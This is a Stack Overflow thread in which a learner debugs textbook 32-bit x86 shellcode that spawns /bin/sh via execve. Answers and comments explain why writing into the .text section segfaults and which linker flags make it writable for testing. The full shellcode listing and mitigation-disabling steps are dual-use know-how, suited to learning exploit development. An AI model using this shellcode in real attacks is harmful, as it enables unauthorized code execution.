1

I'm following a basic shell-spawning exploit example. Below is exactly what my book tells me to write, yet I still get a segfault.

When running this in gdb, I get a segfault at "mov byte [esi + 7], al". This line is necessary so that I can put a null byte at the end of my string "/bin/sh". When I flipped it around to "mov byte al, [esi + 7]", this did not cause a segfault. I'm assuming that I do not have write permissions to the place in memory where my string is stored. It seems I only have read permissions.

I am using a virtual machine that is running a 32-bit centos, which is hosted by a 64-bit centos machine.

Precautions I have already taken:

  1. Disabled ASLR in my vm with sysctl -w kernel.randomize_va_space=0
  2. Disabled dep in my vm with sysctl -w kernel.exec-shield=0
  3. Disabled the XD flag in my host machine through the BIOS setup

    Section         .text
       global _start
    
    _start:
    
    jmp short    GotoCall
    
    shellcode:
    
    pop          esi                     ; stores address of string in esi 
    xor          eax, eax                ; fill eax with null bytes
    mov byte     [esi + 7], al           ; replace 'J' with null byte - SEGFAULT!
    lea          ebx, [esi]              ; stores address of string in ebx
    mov long     [esi + 8], ebx          ; stores address of string in AAAA
    mov long     [esi + 12], eax         ; stores null bytes in KKKK
    mov byte     al, 0x0b                ; stores 11 (execve code) in al
    mov          ebx, esi                ; stores address of string in ebx
    lea          ecx, [esi + 8]          ; stores pointer to string in ecx
    lea          edx, [esi + 12]         ; stores pointer to null in edx
    int          0x80                    ; system call
    
    GotoCall:
    
    call         shellcode               ; pushes address of string on stack
    db           '/bin/shJAAAAKKKK'      ; creates space for string
    

I have already confirmed that ESI contains the correct address which points to the string in gdb.

    /x $esi = 0x8048081
    (gdb) x/s 0x8048081
    0x8048081 <GotoCall+5>:  "/bin/shJAAAAKKKK"

I have also tried writing to [esi] instead of [esi + 7] with 0x1 instead of al. It seems that I just cannot write to memory allocated by the db directive. Why can't I write a null byte to [esi + 7] ?

user3907641
  • 99
  • 1
  • 1
  • 7
  • Have you tried write-enabling the `.text` section at runtime with `mprotect`? – Michael Aug 04 '14 at 18:20
  • Related: [x86\_64 Assembly - Segfault when trying to edit a byte within an array in x64 assembly](https://stackoverflow.com/q/45005078) explains what you should do for non-shellcode, i.e. `.data` or `.bss`. – Peter Cordes Oct 15 '21 at 22:12

1 Answers1

4

You've identified the problem -- your string in memory is not writable. That's because it is in the .text section, which is read-only by default.

You can make it writable by linking with the -N option (useful for testing shellcode)


On older kernels, linking with gcc -zexecstack made .data executable, so you can put shellcode that modifies itself there as an alternative to making .text writable with ld -N. On current Linux, -z execstack does only affect the stack itself, instead of using Linux's READ_IMPLIES_EXEC feature.

Peter Cordes
  • 328,167
  • 45
  • 605
  • 847
Chris Dodd
  • 119,907
  • 13
  • 134
  • 226
  • @PeterCordes you edit surely muddies the waters.This is a shellcode question.So if you are going to convert the instructions and data you want it all in the same section. There is no BSS section. Everything in the `.text` section will ultimately be running on the stack. But if you want to run it standalone youcan do so if you make the `.text` segment writeable. If you put it in separate sections the generated bytes are going to be padded with zeroes. – Michael Petch Feb 06 '19 at 08:24
  • @MichaelPetch: good point, I lost sight of that while making it a useful canonical for normal programs, too (by giving the section names that the original answer alluded to). Re-edited to separate those things more. – Peter Cordes Feb 06 '19 at 08:39
  • I'm sorry peter that doesn't even belong here. You are just making this answer move further away from this question. In fact I disagree with Chris when he said "or move it to another section".Anyone who writes shell code that runs standalone or as an exploit on the stack will place data and code in the `.text` (or all in `.data` section) section. More than one section will introduce padding which will introduce zeroes (and the data will fall outside the payload). It then becomes more difficult to convert that to a payload. – Michael Petch Feb 06 '19 at 08:42
  • 1
    Although you can place it all in the code or all in the data section, I recommend against the `.data` section. If someone tries to run it standalone in GDB - GDB won't be able to set breakpoints on the label `_start` and then you'd have to inform them of how to stop at the first instruction without using a label. It is generally far easier to stick with everything in the `.text` section for shell exploits. – Michael Petch Feb 06 '19 at 08:54